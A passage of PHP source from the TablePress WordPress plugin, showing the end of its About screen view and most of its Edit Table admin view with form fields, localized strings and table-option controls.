<strong><?php _e( 'Please provide this information in bug reports and support requests.', 'tablepress' ); ?></strong>
</p>
<p class="ltr">
· Website: <?php echo site_url(); ?>
<br />· TablePress: <?php echo TablePress::version; ?>
<br />· TablePress (DB): <?php echo TablePress::db_version; ?>
<br />· TablePress table scheme: <?php echo TablePress::table_scheme_version; ?>
<br />· Plugin installed: <?php echo date( 'Y/m/d H:i:s', $data['first_activation'] ); ?>
<br />· WordPress: <?php echo $GLOBALS['wp_version']; ?>
<br />· Multisite: <?php echo is_multisite() ? 'yes' : 'no'; ?>
<br />· PHP: <?php echo phpversion(); ?>
<br />· mysqli Extension: <?php echo $mysqli ? 'true' : 'false'; ?>
<br />· mySQL (Server): <?php echo $mysqli ? mysqli_get_server_info( $GLOBALS['wpdb']->dbh ) : mysql_get_server_info(); ?>
<br />· mySQL (Client): <?php echo $mysqli ? mysqli_get_client_info( $GLOBALS['wpdb']->dbh ) : mysql_get_client_info(); ?>
<br />· ZIP support: <?php echo $data['zip_support_available'] ? 'yes' : 'no'; ?>
<br />· UTF-8 conversion: <?php echo ( function_exists( 'mb_detect_encoding' ) && function_exists( 'iconv' ) ) ? 'yes' : 'no'; ?>
<br />· WP Memory Limit: <?php echo WP_MEMORY_LIMIT; ?>
<br />· Server Memory Limit: <?php echo (int) @ini_get( 'memory_limit' ) . 'M'; ?>
<br />· Magic Quotes: <?php echo get_magic_quotes_gpc() ? 'on' : 'off'; ?>
<br />· WP_DEBUG: <?php echo WP_DEBUG ? 'true' : 'false'; ?>
<br />· WP_POST_REVISIONS: <?php echo is_bool( WP_POST_REVISIONS ) ? ( WP_POST_REVISIONS ? 'true' : 'false' ) : WP_POST_REVISIONS; ?>
</p>
<?php
}
/**
* Print the content of the "Credits and Thanks" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_credits_thanks( array $data, array $box ) {
?>
<p>
<?php _e( 'Special Thanks go to:', 'tablepress' ); ?>
<br />· <?php printf( __( 'Allan Jardine for <a href="%s">DataTables</a>,', 'tablepress' ), 'https://www.datatables.net/' ); ?>
<br />· <?php printf( __( 'the translators in the <a href="%s">Plugin Directory</a>,', 'tablepress' ), 'https://translate.wordpress.org/projects/wp-plugins/tablepress/' ); ?>
<br />· <?php _e( 'all donors, contributors, supporters, reviewers, and users of the plugin!', 'tablepress' ); ?>
</p>
<?php
}
} // class TablePress_About_View
view-edit.php 0000666 00000122261 15112402147 0007157 0 ustar 00 <?php
/**
* Edit Table View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Edit Table View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Edit_View extends TablePress_View {
/**
* List of WP feature pointers for this view.
*
* @since 1.0.0
* @var array
*/
protected $wp_pointers = array( 'tp09_edit_drag_drop_sort' );
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
if ( isset( $data['table']['is_corrupted'] ) && $data['table']['is_corrupted'] ) {
$this->add_text_box( 'table-corrupted', array( $this, 'textbox_corrupted_table' ), 'normal' );
return;
};
$action_messages = array(
'success_save' => __( 'The table was saved successfully.', 'tablepress' ),
'success_add' => __( 'The table was added successfully.', 'tablepress' ),
'success_copy' => _n( 'The table was copied successfully.', 'The tables were copied successfully.', 1, 'tablepress' ) . ' ' . sprintf( __( 'You are now seeing the copied table, which has the table ID “%s”.', 'tablepress' ), esc_html( $data['table']['id'] ) ),
'success_import' => __( 'The table was imported successfully.', 'tablepress' ),
'success_import_wp_table_reloaded' => __( 'The table was imported successfully from WP-Table Reloaded.', 'tablepress' ),
'error_save' => __( 'Error: The table could not be saved.', 'tablepress' ),
'error_delete' => __( 'Error: The table could not be deleted.', 'tablepress' ),
'success_save_success_id_change' => __( 'The table was saved successfully, and the table ID was changed.', 'tablepress' ),
'success_save_error_id_change' => __( 'The table was saved successfully, but the table ID could not be changed!', 'tablepress' ),
);
// Custom handling instead of $this->process_action_messages(). Also, $action_messages is used below.
if ( $data['message'] && isset( $action_messages[ $data['message'] ] ) ) {
$class = ( 'error' === substr( $data['message'], 0, 5 ) || in_array( $data['message'], array( 'success_save_error_id_change' ), true ) ) ? 'notice-error' : 'notice-success';
$this->add_header_message( "<strong>{$action_messages[ $data['message'] ]}</strong>", $class );
}
// Load jQuery UI dialog here to get the CSS into the HTML <head> part.
wp_enqueue_style( 'wp-jquery-ui-dialog' );
wp_enqueue_script( 'wpdialogs' ); // for the Advanced Editor
// Remove default media-upload.js, in favor of own code.
add_action( 'admin_print_footer_scripts', array( $this, 'dequeue_media_upload_js' ), 2 );
add_thickbox();
add_filter( 'media_view_strings', array( $this, 'change_media_view_strings' ) );
wp_enqueue_media();
// Enqueue JS for the "Insert Link" button.
wp_enqueue_script( 'wplink' );
$this->admin_page->enqueue_style( 'edit' );
$this->admin_page->enqueue_script( 'edit', array( 'jquery-core', 'jquery-ui-sortable', 'json2' ), array(
'options' => array(
/**
* Filter whether debug output shall be printed to the page.
*
* The value before filtering is determined from the GET parameter "debug" or the WP_DEBUG constant.
*
* @since 1.4.0
*
* @param bool $print Whether debug output shall be printed.
*/
'print_debug_output' => apply_filters( 'tablepress_print_debug_output', isset( $_GET['debug'] ) ? ( 'true' === $_GET['debug'] ) : WP_DEBUG ),
/**
* Filter whether the "Advanced Editor" button shall be enabled.
*
* @since 1.0.0
*
* @param bool $enable Whether the "Advanced Editor" shall be enabled. Default true.
*/
'cells_advanced_editor' => apply_filters( 'tablepress_edit_cells_advanced_editor', true ),
/**
* Filter whether the size of the table input textareas shall increase when they are focused.
*
* @since 1.0.0
*
* @param bool $auto_grow Whether the size of the cell textareas shall increase. Default true.
*/
'cells_auto_grow' => apply_filters( 'tablepress_edit_cells_auto_grow', true ),
'shortcode' => esc_js( TablePress::$shortcode ),
),
'strings' => array_merge( array(
'no_remove_all_rows' => __( 'You can not delete all table rows!', 'tablepress' ),
'no_remove_all_columns' => __( 'You can not delete all table columns!', 'tablepress' ),
'no_rows_selected' => __( 'You did not select any rows!', 'tablepress' ),
'no_columns_selected' => __( 'You did not select any columns!', 'tablepress' ),
'append_num_rows_invalid' => __( 'The value for the number of rows is invalid!', 'tablepress' ),
'append_num_columns_invalid' => __( 'The value for the number of columns is invalid!', 'tablepress' ),
'ays_remove_rows_singular' => _n( 'Do you really want to delete the selected row?', 'Do you really want to delete the selected rows?', 1, 'tablepress' ),
'ays_remove_rows_plural' => _n( 'Do you really want to delete the selected row?', 'Do you really want to delete the selected rows?', 2, 'tablepress' ),
'ays_remove_columns_singular' => _n( 'Do you really want to delete the selected column?', 'Do you really want to delete the selected columns?', 1, 'tablepress' ),
'ays_remove_columns_plural' => _n( 'Do you really want to delete the selected column?', 'Do you really want to delete the selected columns?', 2, 'tablepress' ),
'advanced_editor_open' => __( 'Please click into the cell that you want to edit using the “Advanced Editor”.', 'tablepress' ),
'rowspan_add' => __( 'To combine cells within a column, click into the cell below the cell that has the content the combined cells shall have.', 'tablepress' ),
'colspan_add' => __( 'To combine cells within a row, click into the cell to the right of the cell that has the content the combined cells shall have.', 'tablepress' ),
'span_add_datatables_warning' => __( 'Attention: You have enabled the usage of the DataTables JavaScript library for features like sorting, search, or pagination.', 'tablepress' ) . "\n" .
__( 'Unfortunately, these can not be used in tables with combined cells.', 'tablepress' ) . "\n" .
__( 'Do you want to proceed and automatically turn off the usage of DataTables for this table?', 'tablepress' ),
'link_add' => __( 'Please click into the cell that you want to add a link to.', 'tablepress' ) . "\n" .
__( 'You can then enter the Link URL and Text or choose an existing page or post.', 'tablepress' ),
'image_add' => __( 'Please click into the cell that you want to add an image to.', 'tablepress' ) . "\n" .
__( 'The Media Library will open, where you can select or upload the desired image or enter the image URL.', 'tablepress' ) . "\n" .
sprintf( __( 'Click the “%s” button to insert the image.', 'tablepress' ), __( 'Insert into Table', 'tablepress' ) ),
'unsaved_changes_unload' => __( 'The changes to this table were not saved yet and will be lost if you navigate away from this page.', 'tablepress' ),
'preparing_preview' => __( 'The Table Preview is being loaded...', 'tablepress' ),
'preview_error' => __( 'The Table Preview could not be loaded.', 'tablepress' ),
'save_changes_success' => __( 'Saving successful', 'tablepress' ),
'save_changes_error' => __( 'Saving failed', 'tablepress' ),
'saving_changes' => __( 'Changes are being saved...', 'tablepress' ),
'table_id_not_empty' => __( 'The Table ID field can not be empty. Please enter a Table ID!', 'tablepress' ),
'table_id_not_zero' => __( 'The Table ID “0” is not supported. Please enter a different Table ID!', 'tablepress' ),
'ays_change_table_id' => __( 'Do you really want to change the Table ID? All Shortcodes for this table in your pages and posts will have to be adjusted!', 'tablepress' ),
'extra_css_classes_invalid' => __( 'The entered value in the field “Extra CSS classes” is invalid.', 'tablepress' ),
'num_pagination_entries_invalid' => __( 'The entered value in the field “Pagination Entries” is not a number.', 'tablepress' ),
'sort_asc' => __( 'Sort ascending', 'tablepress' ),
'sort_desc' => __( 'Sort descending', 'tablepress' ),
'no_rowspan_first_row' => __( 'You can not add rowspan to the first row!', 'tablepress' ),
'no_colspan_first_col' => __( 'You can not add colspan to the first column!', 'tablepress' ),
'no_rowspan_table_head' => __( 'You can not connect cells into the table head row!', 'tablepress' ),
'no_rowspan_table_foot' => __( 'You can not connect cells out of the table foot row!', 'tablepress' ),
),
// Merge this to have messages available for AJAX after save dialog.
$action_messages )
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
$this->add_text_box( 'buttons-1', array( $this, 'textbox_buttons' ), 'normal' );
$this->add_meta_box( 'table-information', __( 'Table Information', 'tablepress' ), array( $this, 'postbox_table_information' ), 'normal' );
$this->add_meta_box( 'table-data', __( 'Table Content', 'tablepress' ), array( $this, 'postbox_table_data' ), 'normal' );
$this->add_meta_box( 'table-manipulation', __( 'Table Manipulation', 'tablepress' ), array( $this, 'postbox_table_manipulation' ), 'normal' );
$this->add_meta_box( 'table-options', __( 'Table Options', 'tablepress' ), array( $this, 'postbox_table_options' ), 'normal' );
$this->add_meta_box( 'datatables-features', __( 'Features of the DataTables JavaScript library', 'tablepress' ), array( $this, 'postbox_datatables_features' ), 'normal' );
$this->add_text_box( 'hidden-containers', array( $this, 'textbox_hidden_containers' ), 'additional' );
$this->add_text_box( 'buttons-2', array( $this, 'textbox_buttons' ), 'additional' );
$this->add_text_box( 'other-actions', array( $this, 'textbox_other_actions' ), 'submit' );
}
/**
* Dequeue 'media-upload' JavaScript, which gets added by the Media Library,
* but is undesired here, as we don't want the tb_position() function for resizing.
*
* @since 1.0.0
*/
public function dequeue_media_upload_js() {
wp_dequeue_script( 'media-upload' );
}
/**
* Change Media View string "Insert into post" to "Insert into Table".
*
* @since 1.0.0
*
* @param array $strings Current set of Media View strings.
* @return array Changed Media View strings.
*/
public function change_media_view_strings( array $strings ) {
$strings['insertIntoPost'] = __( 'Insert into Table', 'tablepress' );
return $strings;
}
/**
* Print hidden field with a nonce for the screen's action, to be transmitted in HTTP requests.
*
* @since 1.0.0
*
* @param array $data Data for this screen
* @param array $box Information about the text box.
*/
protected function action_nonce_field( array $data, array $box ) {
// use custom nonce field here, that includes the table ID
wp_nonce_field( TablePress::nonce( $this->action, $data['table']['id'] ), 'nonce-edit-table' );
echo "\n";
wp_nonce_field( TablePress::nonce( 'preview_table', $data['table']['id'] ), 'nonce-preview-table', false, true );
}
/**
* Print the content of the "Table Information" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_table_information( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr class="bottom-border">
<th class="column-1" scope="row"><label for="table-new-id"><?php _e( 'Table ID', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<input type="hidden" name="table[id]" id="table-id" value="<?php echo esc_attr( $data['table']['id'] ); ?>" />
<input type="text" name="table[new_id]" id="table-new-id" value="<?php echo esc_attr( $data['table']['id'] ); ?>" title="<?php esc_attr_e( 'The Table ID can only consist of letters, numbers, hyphens (-), and underscores (_).', 'tablepress' ); ?>" pattern="[A-Za-z0-9-_]+" required <?php echo ( ! current_user_can( 'tablepress_edit_table_id', $data['table']['id'] ) ) ? 'readonly ' : ''; ?>/>
<div style="float: right; margin-right: 1%;"><label for="table-information-shortcode"><?php _e( 'Shortcode', 'tablepress' ); ?>:</label>
<input type="text" id="table-information-shortcode" class="table-shortcode" value="<?php echo esc_attr( '[' . TablePress::$shortcode . " id={$data['table']['id']} /]" ); ?>" readonly="readonly" /></div>
</td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><label for="table-name"><?php _e( 'Table Name', 'tablepress' ); ?>:</label></th>
<td class="column-2"><input type="text" name="table[name]" id="table-name" class="large-text" value="<?php echo esc_attr( $data['table']['name'] ); ?>" /></td>
</tr>
<tr class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="table-description"><?php _e( 'Description', 'tablepress' ); ?>:</label></th>
<td class="column-2"><textarea name="table[description]" id="table-description" class="large-text" rows="4"><?php echo esc_textarea( $data['table']['description'] ); ?></textarea></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><?php _e( 'Last Modified', 'tablepress' ); ?>:</th>
<td class="column-2"><?php printf( __( '%1$s by %2$s', 'tablepress' ), '<span id="last-modified">' . TablePress::format_datetime( $data['table']['last_modified'] ) . '</span>', '<span id="last-editor">' . TablePress::get_user_display_name( $data['table']['options']['last_editor'] ) . '</span>' ); ?></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print the content of the "Table Content" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_table_data( array $data, array $box ) {
$table = $data['table']['data'];
$options = $data['table']['options'];
$visibility = $data['table']['visibility'];
$rows = count( $table );
$columns = count( $table[0] );
$head_row_idx = $foot_row_idx = -1;
// Determine row index of the table head row, by excluding all hidden rows from the beginning.
if ( $options['table_head'] ) {
for ( $row_idx = 0; $row_idx < $rows; $row_idx++ ) {
if ( 1 === $visibility['rows'][ $row_idx ] ) {
$head_row_idx = $row_idx;
break;
}
}
}
// Fetermine row index of the table foot row, by excluding all hidden rows from the end.
if ( $options['table_foot'] ) {
for ( $row_idx = $rows - 1; $row_idx > -1; $row_idx-- ) {
if ( 1 === $visibility['rows'][ $row_idx ] ) {
$foot_row_idx = $row_idx;
break;
}
}
}
?>
<table id="edit-form" class="tablepress-edit-screen-id-<?php echo esc_attr( $data['table']['id'] ); ?>">
<thead>
<tr id="edit-form-head">
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Row Number', 'tablepress' ); ?></span></th>
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Bulk action selectors for rows', 'tablepress' ); ?></span></th>
<?php
for ( $col_idx = 0; $col_idx < $columns; $col_idx++ ) {
$column_class = '';
if ( 0 === $visibility['columns'][ $col_idx ] ) {
$column_class = ' column-hidden';
}
$column = TablePress::number_to_letter( $col_idx + 1 );
echo "\t\t\t<th scope=\"col\" class=\"head{$column_class}\"><span class=\"sort-control sort-desc hide-if-no-js\" title=\"" . esc_attr__( 'Sort descending', 'tablepress' ) . '"><span class="sorting-indicator"></span></span><span class="sort-control sort-asc hide-if-no-js" title="' . esc_attr__( 'Sort ascending', 'tablepress' ) . "\"><span class=\"sorting-indicator\"></span></span><span class=\"move-handle\">{$column}</span></th>\n";
}
?>
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Row Number', 'tablepress' ); ?></span></th>
</tr>
</thead>
<tbody id="edit-form-body">
<?php
foreach ( $table as $row_idx => $row_data ) {
$row = $row_idx + 1;
$classes = array();
if ( 0 === ( $row_idx % 2 ) ) {
$classes[] = 'odd';
}
if ( $head_row_idx === $row_idx ) {
$classes[] = 'head-row';
} elseif ( $foot_row_idx === $row_idx ) {
$classes[] = 'foot-row';
}
if ( 0 === $visibility['rows'][ $row_idx ] ) {
$classes[] = 'row-hidden';
}
$row_class = ( ! empty( $classes ) ) ? ' class="' . implode( ' ', $classes ) . '"' : '';
$row_selector_text = esc_html( sprintf( __( 'Bulk action selector for row %s', 'tablepress' ), number_format_i18n( $row ) ) );
echo "\t\t<tr{$row_class}>\n";
echo "\t\t\t<td><span class=\"move-handle\">{$row}</span></td>";
echo "<td><label class=\"hide-if-no-js\"><span class=\"screen-reader-text\">{$row_selector_text}</span><input type=\"checkbox\" /><input type=\"hidden\" class=\"visibility\" name=\"table[visibility][rows][]\" value=\"{$visibility['rows'][ $row_idx ]}\" /></label></td>";
foreach ( $row_data as $col_idx => $cell ) {
$column = TablePress::number_to_letter( $col_idx + 1 );
$column_class = '';
if ( 0 === $visibility['columns'][ $col_idx ] ) {
$column_class = ' class="column-hidden"';
}
// Sanitize, so that HTML is possible in table cells.
$cell = esc_textarea( $cell );
$cell_label = esc_html( sprintf( __( 'Column %1$s, Row %2$s', 'tablepress' ), number_format_i18n( $col_idx + 1 ), number_format_i18n( $row ) ) );
echo "<td{$column_class}><label for=\"cell-{$column}{$row}\"><span class=\"screen-reader-text\">{$cell_label}</span></label><textarea name=\"table[data][{$row_idx}][{$col_idx}]\" id=\"cell-{$column}{$row}\" rows=\"1\">{$cell}</textarea></td>";
}
echo "<td><span class=\"move-handle\">{$row}</span></td>\n";
echo "\t\t</tr>\n";
}
?>
</tbody>
<tfoot>
<tr id="edit-form-foot">
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Row Number', 'tablepress' ); ?></span></th>
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Bulk action selectors for rows', 'tablepress' ); ?></span></th>
<?php
for ( $col_idx = 0; $col_idx < $columns; $col_idx++ ) {
$column_class = '';
if ( 0 === $visibility['columns'][ $col_idx ] ) {
$column_class = ' class="column-hidden"';
}
$column_selector_text = esc_html( sprintf( __( 'Bulk action selector for column %s', 'tablepress' ), TablePress::number_to_letter( $col_idx + 1 ) ) );
echo "\t\t\t<th scope=\"col\" {$column_class}><label class=\"hide-if-no-js\"><span class=\"screen-reader-text\">{$column_selector_text}</span><input type=\"checkbox\" /></label>";
echo "<input type=\"hidden\" class=\"visibility\" name=\"table[visibility][columns][]\" value=\"{$visibility['columns'][ $col_idx ]}\" /></th>\n";
}
?>
<th scope="col"><span class="screen-reader-text"><?php esc_html_e( 'Row Number', 'tablepress' ); ?></span></th>
</tr>
</tfoot>
</table>
<input type="hidden" id="number-rows" name="table[number][rows]" value="<?php echo $rows; ?>" />
<input type="hidden" id="number-columns" name="table[number][columns]" value="<?php echo $columns; ?>" />
<?php
}
/**
* Print the content of the "Table Manipulation" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_table_manipulation( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed hide-if-no-js">
<tbody>
<tr class="bottom-border">
<td class="column-1">
<input type="button" class="button" id="link-add" value="<?php esc_attr_e( 'Insert Link', 'tablepress' ); ?>" />
<input type="button" class="button" id="image-add" value="<?php esc_attr_e( 'Insert Image', 'tablepress' ); ?>" />
<input type="button" class="button" id="advanced-editor-open" value="<?php esc_attr_e( 'Advanced Editor', 'tablepress' ); ?>" />
</td>
<td class="column-2">
<?php _e( 'Combine cells', 'tablepress' ); ?>:
<input type="button" class="button" id="span-add-rowspan" value="<?php esc_attr_e( 'in a column (rowspan)', 'tablepress' ); ?>" />
<input type="button" class="button" id="span-add-colspan" value="<?php esc_attr_e( 'in a row (colspan)', 'tablepress' ); ?>" />
<input type="button" class="button show-help-box" value="<?php esc_attr_e( '?', 'tablepress' ); ?>" title="<?php esc_attr_e( 'Help on combining cells', 'tablepress' ); ?>" />
<div class="hidden-container hidden-help-box-container">
<?php
echo '<p>' . __( 'Table cells can span across more than one column or row.', 'tablepress' ) . '</p>';
echo '<p>' . __( 'Combining consecutive cells within the same row is called “colspanning”.', 'tablepress' )
. ' ' . __( 'Combining consecutive cells within the same column is called “rowspanning”.', 'tablepress' ) . '</p>';
echo '<p>' . __( 'To combine adjacent cells in a row, add the keyword <code>#colspan#</code> to the cell to the right of the one with the content for the combined cell by using the corresponding button.', 'tablepress' )
. ' ' . __( 'To combine adjacent cells in a column, add the keyword <code>#rowspan#</code> to the cell below the one with the content for the combined cell by using the corresponding button.', 'tablepress' ) . '</p>';
echo '<p>' . __( 'Repeat this to add the keyword to all cells that shall be connected.', 'tablepress' ) . '</p>';
echo '<p><strong>' . __( 'Be aware that the functions of the DataTables JavaScript library will not work on tables which have combined cells.', 'tablepress' ) . '</strong></p>';
?>
</div>
</td>
</tr>
<tr class="top-border">
<td class="column-1">
<?php _e( 'Selected rows', 'tablepress' ); ?>:
<input type="button" class="button" id="rows-hide" value="<?php esc_attr_e( 'Hide', 'tablepress' ); ?>" />
<input type="button" class="button" id="rows-unhide" value="<?php esc_attr_e( 'Show', 'tablepress' ); ?>" />
</td>
<td class="column-2">
<?php _e( 'Selected columns', 'tablepress' ); ?>:
<input type="button" class="button" id="columns-hide" value="<?php esc_attr_e( 'Hide', 'tablepress' ); ?>" />
<input type="button" class="button" id="columns-unhide" value="<?php esc_attr_e( 'Show', 'tablepress' ); ?>" />
</td>
</tr>
<tr class="bottom-border">
<td class="column-1">
<?php _e( 'Selected rows', 'tablepress' ); ?>:
<input type="button" class="button" id="rows-duplicate" value="<?php esc_attr_e( 'Duplicate', 'tablepress' ); ?>" />
<input type="button" class="button" id="rows-insert" value="<?php esc_attr_e( 'Insert', 'tablepress' ); ?>" />
<input type="button" class="button" id="rows-remove" value="<?php esc_attr_e( 'Delete', 'tablepress' ); ?>" />
</td>
<td class="column-2">
<?php _e( 'Selected columns', 'tablepress' ); ?>:
<input type="button" class="button" id="columns-duplicate" value="<?php esc_attr_e( 'Duplicate', 'tablepress' ); ?>" />
<input type="button" class="button" id="columns-insert" value="<?php esc_attr_e( 'Insert', 'tablepress' ); ?>" />
<input type="button" class="button" id="columns-remove" value="<?php esc_attr_e( 'Delete', 'tablepress' ); ?>" />
</td>
</tr>
<tr class="top-border">
<td class="column-1">
<label><?php printf( __( 'Add %s row(s)', 'tablepress' ), '<input type="number" id="rows-append-number" class="small-text numbers-only" title="' . esc_attr__( 'This field must contain a positive number.', 'tablepress' ) . '" value="1" min="1" max="99999" maxlength="5" required />' ); ?></label> <input type="button" class="button" id="rows-append" value="<?php esc_attr_e( 'Add', 'tablepress' ); ?>" />
</td>
<td class="column-2">
<label><?php printf( __( 'Add %s column(s)', 'tablepress' ), '<input type="number" id="columns-append-number" class="small-text numbers-only" title="' . esc_attr__( 'This field must contain a positive number.', 'tablepress' ) . '" value="1" min="1" max="99999" maxlength="5" required />' ); ?></label> <input type="button" class="button" id="columns-append" value="<?php esc_attr_e( 'Add', 'tablepress' ); ?>" />
</td>
</tr>
</table>
<p class="hide-if-js"><?php _e( 'To use the Table Manipulation features, JavaScript needs to be enabled in your browser.', 'tablepress' ); ?></p>
<?php
}
/**
* Print the "Preview" and "Save Changes" button.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_buttons( array $data, array $box ) {
$preview_url = TablePress::url( array( 'action' => 'preview_table', 'item' => $data['table']['id'], 'return' => 'edit', 'return_item' => $data['table']['id'] ), true, 'admin-post.php' );
echo '<p class="submit">';
if ( current_user_can( 'tablepress_preview_table', $data['table']['id'] ) ) {
echo '<a href="' . $preview_url . '" class="button button-large show-preview-button" target="_blank">' . __( 'Preview', 'tablepress' ) . '</a>';
}
?>
<input type="button" class="button button-primary button-large save-changes-button hide-if-no-js" value="<?php esc_attr_e( 'Save Changes', 'tablepress' ); ?>" />
<input type="submit" class="button button-primary button-large hide-if-js" value="<?php esc_attr_e( 'Save Changes', 'tablepress' ); ?>" />
<?php
echo '</p>';
}
/**
* Print the "Delete Table" and "Export Table" buttons.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_other_actions( array $data, array $box ) {
$user_can_copy_table = current_user_can( 'tablepress_copy_table', $data['table']['id'] );
$user_can_export_table = current_user_can( 'tablepress_export_table', $data['table']['id'] );
$user_can_delete_table = current_user_can( 'tablepress_delete_table', $data['table']['id'] );
if ( ! $user_can_copy_table && ! $user_can_export_table && ! $user_can_delete_table ) {
return;
}
echo '<p class="submit">';
echo __( 'Other Actions', 'tablepress' ) . ': ';
if ( $user_can_copy_table ) {
echo '<a href="' . TablePress::url( array( 'action' => 'copy_table', 'item' => $data['table']['id'], 'return' => 'edit' ), true, 'admin-post.php' ) . '" class="button">' . __( 'Copy Table', 'tablepress' ) . '</a> ';
}
if ( $user_can_export_table ) {
echo '<a href="' . TablePress::url( array( 'action' => 'export', 'table_id' => $data['table']['id'] ) ) . '" class="button">' . __( 'Export Table', 'tablepress' ) . '</a> ';
}
if ( $user_can_delete_table ) {
echo '<a href="' . TablePress::url( array( 'action' => 'delete_table', 'item' => $data['table']['id'], 'return' => 'edit', 'return_item' => $data['table']['id'] ), true, 'admin-post.php' ) . '" class="button delete-link">' . __( 'Delete Table', 'tablepress' ) . '</a>';
}
echo '</p>';
}
/**
* Print the hidden containers for the Advanced Editor and the Preview.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_hidden_containers( array $data, array $box ) {
?>
<div class="hidden-container">
<div id="advanced-editor">
<label for="advanced-editor-content" class="screen-reader-text"><?php esc_html_e( 'Advanced Editor', 'tablepress' ); ?></label>
<?php
$wp_editor_options = array(
'textarea_rows' => 10,
'tinymce' => false,
'quicktags' => array(
'buttons' => 'strong,em,link,del,ins,img,code,spell,close',
),
);
wp_editor( '', 'advanced-editor-content', $wp_editor_options );
?>
<div class="submitbox">
<a href="#" class="submitdelete" id="advanced-editor-cancel"><?php _e( 'Cancel', 'tablepress' ); ?></a>
<input type="button" class="button button-primary button-large" id="advanced-editor-confirm" value="<?php esc_attr_e( 'OK', 'tablepress' ); ?>" />
</div>
</div>
</div>
<div id="preview-container" class="hidden-container">
<div id="table-preview"></div>
</div>
<?php
}
/**
* Print the content of the "Table Options" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_table_options( array $data, array $box ) {
$options = $data['table']['options'];
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr>
<th class="column-1" scope="row"><?php _e( 'Table Head Row', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-table-head"><input type="checkbox" id="option-table-head" name="table[options][table_head]" value="true"<?php checked( $options['table_head'] ); ?> /> <?php _e( 'The first row of the table is the table header.', 'tablepress' ); ?></label></td>
</tr>
<tr class="bottom-border">
<th class="column-1" scope="row"><?php _e( 'Table Foot Row', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-table-foot"><input type="checkbox" id="option-table-foot" name="table[options][table_foot]" value="true"<?php checked( $options['table_foot'] ); ?> /> <?php _e( 'The last row of the table is the table footer.', 'tablepress' ); ?></label></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><?php _e( 'Alternating Row Colors', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-alternating-row-colors"><input type="checkbox" id="option-alternating-row-colors" name="table[options][alternating_row_colors]" value="true"<?php checked( $options['alternating_row_colors'] ); ?> /> <?php _e( 'The background colors of consecutive rows shall alternate.', 'tablepress' ); ?></label></td>
</tr>
<tr class="bottom-border">
<th class="column-1" scope="row"><?php _e( 'Row Hover Highlighting', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-row-hover"><input type="checkbox" id="option-row-hover" name="table[options][row_hover]" value="true"<?php checked( $options['row_hover'] ); ?> /> <?php _e( 'Highlight a row while the mouse cursor hovers above it by changing its background color.', 'tablepress' ); ?></label></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><label for="option-print-name"><?php _e( 'Print Table Name', 'tablepress' ); ?></label>:</th>
<?php
$position_select = '<select id="option-print-name-position" name="table[options][print_name_position]">';
$position_select .= '<option' . selected( 'above', $options['print_name_position'], false ) . ' value="above">' . __( 'above', 'tablepress' ) . '</option>';
$position_select .= '<option' . selected( 'below', $options['print_name_position'], false ) . ' value="below">' . __( 'below', 'tablepress' ) . '</option>';
$position_select .= '</select>';
?>
<td class="column-2"><input type="checkbox" id="option-print-name" name="table[options][print_name]" value="true"<?php checked( $options['print_name'] ); ?> /> <label><?php printf( __( 'Show the table name %s the table.', 'tablepress' ), $position_select ); ?></label></td>
</tr>
<tr class="bottom-border">
<th class="column-1" scope="row"><label for="option-print-description"><?php _e( 'Print Table Description', 'tablepress' ); ?></label>:</th>
<?php
$position_select = '<select id="option-print-description-position" name="table[options][print_description_position]">';
$position_select .= '<option' . selected( 'above', $options['print_description_position'], false ) . ' value="above">' . __( 'above', 'tablepress' ) . '</option>';
$position_select .= '<option' . selected( 'below', $options['print_description_position'], false ) . ' value="below">' . __( 'below', 'tablepress' ) . '</option>';
$position_select .= '</select>';
?>
<td class="column-2"><input type="checkbox" id="option-print-description" name="table[options][print_description]" value="true"<?php checked( $options['print_description'] ); ?> /> <label><?php printf( __( 'Show the table description %s the table.', 'tablepress' ), $position_select ); ?></label></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><?php _e( 'Extra CSS Classes', 'tablepress' ); ?>:</th>
